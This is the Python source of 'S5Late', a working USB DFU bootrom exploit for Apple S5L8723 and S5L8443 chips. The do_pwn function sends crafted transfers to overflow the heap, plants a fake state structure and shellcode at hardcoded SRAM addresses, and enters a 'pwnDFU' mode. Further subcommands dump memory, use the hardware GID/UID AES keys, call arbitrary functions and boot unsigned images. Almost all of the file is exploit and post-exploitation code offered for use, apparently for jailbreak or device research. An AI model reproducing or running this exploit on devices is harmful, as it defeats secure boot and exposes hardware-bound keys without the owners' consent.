S5Late

#!/usr/bin/env python3

import time
import struct
import argparse
from dataclasses import dataclass
from contextlib import suppress
from collections import namedtuple
from pathlib import Path
from enum import Enum

import usb

PlatformConfig = namedtuple("PlatformConfig", ["pid", "name", "config", "overwrite_len", "pwn_name", "fake_state"])

PLATFORM_CONFIGS = [
    PlatformConfig(
        pid=0x1232,
        name="S5L8723",
        config="s5l8723",
        overwrite_len=0x24C0,
        pwn_name="S5L8723 pwnDFU",
        fake_state="n6g_fake_state.bin"
    ),
    PlatformConfig(
        pid=0x1233,
        name="S5L8443",
        config="s5l8443",
        overwrite_len=0x24C0,
        pwn_name="S5L8443 pwnDFU",
        fake_state="s4g_fake_state.bin"
    )
]

APPLE_VID = 0x5AC

DNLD_MAX_PACKET_SIZE = 0x800
UPLD_MAX_PACKET_SIZE = 0x40

USB_TIMEOUT = 1000

COMMAND_RESET  = 0x72657374   # 'rest'
COMMAND_DUMP   = 0x64756D70   # 'dump'
COMMAND_AESDEC = 0x61657364   # 'aesd'
COMMAND_AESENC = 0x61657365   # 'aese'
COMMAND_CALL   = 0x66756E63   # 'func'

AES_BLOCK_SIZE = 16
AES_KEY_GID = 1
AES_KEY_UID = 2

SHELLCODE_ROOT = "shellcode/build"
SHELLCODE_NAME = "shellcode.bin"

class USBDFUError(Enum):
    errOk          = 0x00
    errTarget      = 0x01
    errFile        = 0x02
    errWrite       = 0x03
    errErase       = 0x04
    errCheckErased = 0x05
    errProg        = 0x06
    errVerify      = 0x07
    errAddress     = 0x08
    errNotDone     = 0x09
    errFirmware    = 0x0a
    errVendor      = 0x0b
    errUsbr        = 0x0c
    errPor         = 0x0d
    errUnknown     = 0x0e
    errStalledPkt  = 0x0f

class USBDFUStatus(Enum):
    appIdle              = 0
    appDetach            = 1
    dfuIdle              = 2
    dfuDnloadSync        = 3
    dfuDnBusy            = 4
    dfuDnloadIdle        = 5
    dfuManifestSync      = 6
    dfuManifest          = 7
    dfuManifestWaitReset = 8
    dfuUploadIdle        = 9
    dfuError             = 10

@dataclass
class USBDFUState:
    error: int
    timeout: int
    status: int

    @classmethod
    def from_raw(cls, raw: bytes):
        error = raw[0]
        timeout = (raw[3] << 16) | (raw[2] << 8) | raw[1]
        state = raw[4]
        return cls(error, timeout, state)

class USBDFUDeviceError(Exception):
    pass

class USBDFUDevice:
    def __init__(self, pid: int, vid: int = APPLE_VID):
        self.pid = pid
        self.vid = vid

        self.dev = None
        self._open = False

    def open(self):
        try:
            self.dev = usb.core.find(idProduct=self.pid, idVendor=self.vid)
            assert self.dev
        except (usb.core.USBError, AssertionError):
            raise USBDFUDeviceError("cannot open USB device - is it even connected?")
        
        self._open = True

        # XXX do these even have any effect?
        self.dev.set_configuration(1)
        self.dev.set_interface_altsetting(0, 0)

    def close(self):
        usb.util.dispose_resources(self.dev)

    def usb_reset(self):
        with suppress(usb.core.USBError):
            self.dev.reset()

    def dnload(self, data: bytes, block_num: int = 0):
        self.dev.ctrl_transfer(0x21, 1, block_num, 0, data, USB_TIMEOUT)
        
    def upload(self, amount: int = UPLD_MAX_PACKET_SIZE) -> bytes:
        result = self.dev.ctrl_transfer(0xA1, 2, 0, 0, amount, USB_TIMEOUT)
        assert len(result) == amount
        return result

    def getstate(self) -> USBDFUState:
        result = self.dev.ctrl_transfer(0xA1, 3, 0, 0, 6, USB_TIMEOUT)
        assert len(result) == 6
        return USBDFUState.from_raw(result)
    
    def getstatus(self) -> int:
        result = self.dev.ctrl_transfer(0xA1, 5, 0, 0, 1, USB_TIMEOUT)
        return result[0]
    
    def clrstatus(self):
        self.dev.ctrl_transfer(0x21, 4, 0, 0, None, USB_TIMEOUT)

    def abort(self):
        self.dev.ctrl_transfer(0x21, 6, 0, 0, None, USB_TIMEOUT)

    def send_data(self, data: bytes) -> int:
        index = 0
        packets = 0
        while index < len(data):
            amount = min(len(data) - index, DNLD_MAX_PACKET_SIZE)
            
            self.dnload(data[index : index + amount], packets)

            while True:
                state = self.getstate()

                if state.error != USBDFUError.errOk.value:
                    raise ValueError("wow, we have a DFU error on download - 0x%x" % state.error)
                
                if state.status == USBDFUStatus.dfuDnloadIdle.value:
                    break

                if state.timeout:
                    time.sleep(state.timeout / 1000)

            packets += 1
            index += amount
        
        return packets

    def request_image_validation(self, packets: int):
        assert self.dev.ctrl_transfer(0x21, 1, packets + 1, 0, None, USB_TIMEOUT) == 0
        try:
            for _ in range(3):
                self.dev.ctrl_transfer(0xA1, 3, 0, 0, 6, USB_TIMEOUT)
        except usb.core.USBError:
            pass
        
        self.usb_reset()

    def name(self):
        return usb.util.get_string(self.dev, 2, 0)

    def __del__(self):
        if self._open:
            self.close()
            self._open = False

class Image1:
    DATA_START_MAP = {
        "8900" : 0x800,
        "8442" : 0x800,
        "8723" : 0x400,
        "8443" : 0x400
    }

    def __init__(self, buffer: bytes):
        self.magic = buffer[:4].decode("ascii")
        self.version = buffer[4:7].decode("ascii")
        self.type = struct.unpack("<B", buffer[7:8])[0]

        self.dataoff = self.DATA_START_MAP[self.magic]

        (self.entrypoint, self.bodylen, self.datalen, self.certoff, self.certlen) = struct.unpack("<5I", buffer[8:28])

    def __repr__(self) -> str:
        return "Image1 v%s (%s): type: 0x%x entry: 0x%x bodylen: 0x%x datalen: 0x%x certoff: 0x%x certlen: 0x%x" % \
            (
                self.version,
                self.magic,
                self.type,
                self.entrypoint,
                self.bodylen,
                self.datalen,
                self.certoff,
                self.certlen
            )

def device_pwned(dev: USBDFUDevice, config: PlatformConfig) -> bool:
    return dev.name() == config.pwn_name

def device_open(expect_pwned: bool = True) -> tuple[USBDFUDevice, PlatformConfig]:
    # XXX super whacky, gotta redo at some point
    for platform in PLATFORM_CONFIGS:
        dev = USBDFUDevice(platform.pid)
        try:
            dev.open()
        except USBDFUDeviceError:
            dev = None
            continue
        else:
            break

    if not dev:
        raise RuntimeError("no device found")
    
    pwned = device_pwned(dev, platform)

    print(
        "found: %s USB %sDFU device" % 
        (
            platform.name,
            "pwn" if pwned else ""
        )
    )

    if expect_pwned and not pwned:
        raise ValueError("device is NOT pwned")

    # Hopefully it's good enough to bring DFU into idle state
    dev.clrstatus()
    dev.abort()

    return dev, platform

# Encodes a *command* to our DFU upload hook into raw bytes
def cmd_encode(command: int, *args) -> bytes:
    buf = struct.pack("<I", command)
    for arg in args:
        buf += struct.pack("<I", arg)

    return buf

# Sends an encoded command and returns a reply
def cmd_send(dev: USBDFUDevice, cmd: bytes, length: int = UPLD_MAX_PACKET_SIZE) -> bytes:
    # All this hymnastics is needed to prevent random timeouts and pipe errors
    # when we process a big amount of data (decrypting OSOS, for instance)
    #
    # Or maybe I misunderstood something about the protocol...
    # Or something in gState needs a fix...
    # Or their code is trash...
    # Or it's a combination of all of these...

    dev.send_data(cmd)

    dev.dnload(None, 1)
    status = dev.getstatus()
    assert status == USBDFUStatus.dfuManifestSync.value

    dev.clrstatus()
    ret = dev.upload(length)
    dev.clrstatus()

    status = dev.getstatus()
    assert status == USBDFUStatus.dfuIdle.value

    return ret

# Common code for AES operations (a bit ugly)
def aes_op(device: USBDFUDevice, cmd: int, key: int, buffer: bytes, iv: bytes = None, callback: callable = None) -> bytes:
    start = time.perf_counter()
    
    total_len = len(buffer)

    if total_len % AES_BLOCK_SIZE:
        raise ValueError("AES operations require 16-byte aligned input")

    index = 0
    
    ret = bytes()

    while True:
        op = "decrypting" if cmd == COMMAND_AESDEC else "encrypting"
        print("\r%s: %d%%" % (op, int(index / total_len * 100)), end="")

        if index >= total_len:
            break

        amount = min(total_len - index, UPLD_MAX_PACKET_SIZE - AES_BLOCK_SIZE)
        real_amount = amount
        iv_hack = index != 0 or iv is not None

        if iv_hack:
            real_amount += AES_BLOCK_SIZE

        cmd_ser = cmd_encode(cmd, real_amount, key, int(iv_hack))

        if iv_hack:
            cmd_ser += iv

        data = buffer[index : index + amount]
        cmd_ser += data

        tmp = cmd_send(device, cmd_ser, amount)

        if cmd == COMMAND_AESDEC:
            iv = data[-AES_BLOCK_SIZE:]
        else:
            iv = tmp[-AES_BLOCK_SIZE:]

        if callback:
            callback(tmp, index, amount)

        ret += tmp
        index += amount

    print()

    end = time.perf_counter()

    print(
        "succesfully %s %d bytes in %.3f seconds (%.3f bytes/sec)" % (
            "decrypted" if cmd == COMMAND_AESDEC else "encrypted",
            total_len,
            end - start,
            total_len / (end - start)
        )
    )

    return ret

def do_pwn(args):
    STATE_LEN    = 0x640
    STAGE0_LEN   = 0x780
    STAGE1_LEN   = 0x100
    PORTION      = 0x40

    dev, config = device_open(False)
    if device_pwned(dev, config):
        print("device is already pwned")
        exit(0)

    with open(config.fake_state, "rb") as f:
        state = f.read()

    assert len(state) == STATE_LEN

    with open(Path(SHELLCODE_ROOT) / config.config / SHELLCODE_NAME, "rb") as f:
        payload = f.read()
    
    payload += b"\xff" * (config.overwrite_len - STAGE0_LEN - STAGE1_LEN - len(state) - len(payload))

    # sending 0x780 bytes first, which is almost the limit for a single transaction (0x800)
    dev.dev.ctrl_transfer(0x21, 1, 0, 0, b"\xff" * STAGE0_LEN, USB_TIMEOUT)
    dev.dev.ctrl_transfer(0xA1, 3, 0, 0, 6, USB_TIMEOUT)

    # sending 0x100 bytes more as a new packet and thus triggering the bug
    dev.dev.ctrl_transfer(0x21, 1, 1, 0, b"\xff" * STAGE1_LEN, USB_TIMEOUT)
    dev.dev.ctrl_transfer(0xA1, 3, 0, 0, 6, USB_TIMEOUT)

    # uploading a fake gState, it will end up at 0x2202E380 on both S5L8723 and S5L8443
    for i in range(0, len(state), PORTION):
        dev.dev.ctrl_transfer(0x21, 1, 1, 0, state[i : i + PORTION], USB_TIMEOUT)
        dev.dev.ctrl_transfer(0xA1, 3, 0, 0, 6, USB_TIMEOUT)

    # uploading our payload immediately after (0x2202E380 + 0x640 = 0x2202E9C0)...
    # ...along with all the garbage we need to send to reach the end of SRAM
    for z in range(0, len(payload), PORTION):
        dev.dev.ctrl_transfer(0x21, 1, 1, 0, payload[z : z + PORTION], USB_TIMEOUT)
        dev.dev.ctrl_transfer(0xA1, 3, 0, 0, 6, USB_TIMEOUT)

    # Sending 0x30 bytes more
    dev.dev.ctrl_transfer(0x21, 1, 1, 0, b"\x00" * 0x30, USB_TIMEOUT)
    dev.dev.ctrl_transfer(0xA1, 3, 0, 0, 6, USB_TIMEOUT)

    # this is what goes into the last 16 bytes
    last = struct.pack(
        "<4I",
        0xC2F3E9B2, # unclear what it is, but incorrect value will break everything
        0x0,        # state mask, 0 is good enough value
        0x2202E380, # address of our fake gState
        0x2202D900  # heap metadata address
    )

    dev.dev.ctrl_transfer(0x21, 1, 1, 0, last, USB_TIMEOUT)
    dev.dev.ctrl_transfer(0xA1, 3, 0, 0, 6, USB_TIMEOUT)

    dev.clrstatus()

    # trigger a DFU upload, so it will reach our payload!
    with suppress(usb.core.USBError):
        dev.upload()

    dev.close()

    # wait a bit
    # XXX poll this properly?
    time.sleep(0.5)

    # re-opening the device and checking if it reached pwnDFU mode
    dev, new_config = device_open(False)

    if new_config is not config:
        print("device changed SoC after running exploit?!")
        exit(-1)

    if not device_pwned(dev, new_config):
        print("exploit failed!")
        exit(-1)

    # should be good enough to reach dfuIDLE state again
    dev.abort()

    status = dev.getstatus()
    if status != USBDFUStatus.dfuIdle.value:
        raise ValueError("unexpected status after DFU abort - 0x%x" % status)

    dev.close()

def do_dump(args):
    dev, _ = device_open()

    f = open(args.file, "wb")

    start = time.perf_counter()

    index = 0
    while True:
        print("\rdumping: %d%%" % int(index / args.length * 100), end="")

        if index >= args.length:
            break
        
        amount = min(args.length - index, UPLD_MAX_PACKET_SIZE)

        f.write(
            cmd_send(
                dev,
                cmd_encode(
                    COMMAND_DUMP,
                    args.address + index,
                    amount
                ),
                amount
            )
        )

        index += amount

    print()

    f.close()
    dev.close()

    end = time.perf_counter()

    print(
        "succesfully dumped %d bytes in %.3f seconds (%.3f bytes/sec)" % (
            args.length,
            end - start,
            args.length / (end - start)
        )
    )

def do_aes(args):
    dev, _ = device_open()

    if args.op == "dec":
        cmd = COMMAND_AESDEC
    elif args.op == "enc":
        cmd = COMMAND_AESENC
    else:
        print("unknown operation - %s" % args.op)
        exit(-1)

    if args.key == "GID":
        key = AES_KEY_GID
    elif args.key == "UID":
        key = AES_KEY_UID
    else:
        print("unknown key - %s" % args.key)
        exit(-1)

    with open(args.input, "rb") as f:
        in_buf = f.read()

    with open(args.output, "wb") as f:
        f.write(aes_op(dev, cmd, key, in_buf))

    dev.close()

def do_image1(args):
    dev, _ = device_open()

    with open(args.input, "rb") as f:
        in_buf = f.read()

    image1 = Image1(in_buf)

    print(image1)

    real_len = image1.bodylen
    padded_len = real_len

    # this is probably whack and might result in garbage in the end of decrypted data
    if real_len % AES_BLOCK_SIZE:
        padded_len += AES_BLOCK_SIZE - (real_len % AES_BLOCK_SIZE)
    
    f = open(args.output, "wb")

    def write_cb(buf: bytes, index: int, length: int):
        curr_len = index + length
        if curr_len > real_len:
            truncated_len = length - (curr_len - real_len)
            f.write(buf[:truncated_len])
        else:
            f.write(buf)

    aes_op(
        dev,
        COMMAND_AESDEC,
        AES_KEY_GID,
        in_buf[image1.dataoff : image1.dataoff + padded_len],
        callback=write_cb
    )

    dev.close()

def do_call(args):
    if len(args.args) > 8:
        print("too many arguments")
        exit(-1)

    dev, _ = device_open()

    cmd = cmd_encode(COMMAND_CALL, args.addr, *args.args)
    raw_ret = cmd_send(dev, cmd, 4)
    ret = int.from_bytes(raw_ret, "little")

    print("returned: 0x%x" % ret)

    dev.close()

# this is a bit whacky, check the hook code for more info
def do_boot(args):
    dev, _ = device_open()

    with open(args.file, "rb") as f:
        in_buf = f.read()

    # this hopefully fixes booting issues caused by image not being copied completely
    in_buf += b"\x00" * (DNLD_MAX_PACKET_SIZE - len(in_buf) % DNLD_MAX_PACKET_SIZE)

    dev.clrstatus()
    pkt = dev.send_data(in_buf)

    dev.dnload(None, pkt)
    status = dev.getstatus()
    assert status == USBDFUStatus.dfuManifestSync.value

    dev.clrstatus()

    with suppress(usb.core.USBError):
        dev.upload()

    dev.close()

def do_reboot(args):
    dev, _ = device_open()

    with suppress(usb.core.USBError):
        cmd_send(dev, cmd_encode(COMMAND_RESET))

    dev.usb_reset()
    dev.close()

def hexint(str) -> int:
    return int(str, 16)

def main():
    parser = argparse.ArgumentParser(description="S5Late (S5L8723)")
    subparsers = parser.add_subparsers()

    pwn_parse = subparsers.add_parser("pwn", help="run the exploit to enter pwnDFU mode")
    pwn_parse.set_defaults(func=do_pwn)

    dump_parse = subparsers.add_parser("dump", help="dump some memory")
    dump_parse.set_defaults(func=do_dump)
    dump_parse.add_argument("file", help="file path to save to")
    dump_parse.add_argument("address", type=hexint)
    dump_parse.add_argument("length", type=hexint)

    aes_parse = subparsers.add_parser("aes", help="decrypt/encrypt with GID/UID key")
    aes_parse.set_defaults(func=do_aes)
    aes_parse.add_argument("op", help="operation - dec/enc")
    aes_parse.add_argument("key", help="key - GID/UID")
    aes_parse.add_argument("input", help="input file")
    aes_parse.add_argument("output", help="output file")

    image1_parse = subparsers.add_parser("image1", help="decrypt Image1")
    image1_parse.set_defaults(func=do_image1)
    image1_parse.add_argument("input", help="input file")
    image1_parse.add_argument("output", help="output file")

    call_parse = subparsers.add_parser("call", help="call arbitrary function")
    call_parse.set_defaults(func=do_call)
    call_parse.add_argument("-f", "--addr", type=hexint, help="function pointer")
    call_parse.add_argument("-a", "--args", type=hexint, nargs='*', help="arguments (up to 8)")

    boot_parse = subparsers.add_parser("boot", help="boot WTF from file")
    boot_parse.set_defaults(func=do_boot)
    boot_parse.add_argument("file", help="raw WTF to boot")

    reboot_parse = subparsers.add_parser("reboot", help="reboot device")
    reboot_parse.set_defaults(func=do_reboot)

    args = parser.parse_args()
    if not hasattr(args, "func"):
        parser.print_help()
        exit(-1)

    args.func(args)

    print("DONE")

if __name__ == "__main__":
    main()